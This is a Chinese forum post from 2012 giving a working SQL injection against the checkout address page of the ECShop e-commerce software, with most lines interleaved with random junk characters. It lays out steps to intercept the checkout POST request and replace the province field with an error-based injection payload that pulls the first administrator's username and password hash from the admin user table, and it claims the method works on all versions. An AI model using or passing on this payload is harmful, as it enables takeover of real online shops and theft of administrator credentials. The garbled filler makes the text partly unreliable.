感谢欠杀的黑盒
2 M L- }, s- W! a: u) [" m" b, S& s0 u. {; s' Z$ Q
7 e" Q2 p% n3 I9 W& `2 ~: G- |! o把任意商品加入购物车在填写配送地址那一页，有地区选择
2 M$ G* q; d/ d5 w5 _+ z( i' T4 h
4 \& |/ m5 \7 H! w) M) Aflow.php?step=consignee&direct_shopping=16 ^' N! W: Y' u' @5 l, ^. a
比如省选择安徽8 e, b% c1 n6 s: _) S
( N3 Y- |. S" T6 m# Y3 P) v! c* B
其中POST数据如下
6 F+ B, s, M4 k' n5 P; s 8 u# U& n! q3 D9 t
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
9 d# }$ a1 P) h4 q! W c- f" W( M改成9 z, B _% T) ~, ]3 a
, V0 R/ K0 f% m& bprovince=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
7 P4 N( D3 J& w1 x5 O Kps：详细的方法，用火狐tamper data插件……..即可改post内容…..
' H: P* T& u# U0 q' C5 m% ^3 Q! T! ]
- |9 N1 a+ p( m2 G0 ` ~& V3 S先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
0 L) @% L7 h: O1 Q # ^8 v, Y* o% Q1 l* u
就会回显错误页面了。。。。
, u6 q2 g0 n& i* h7 D v3 H2 r0 M 3 X, m: @# j3 w" y' t7 D: w0 K: I/ U: A
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
6 _4 s0 l! E: C |
发表于 2012-12-31 09:19:27
收藏
支持
反对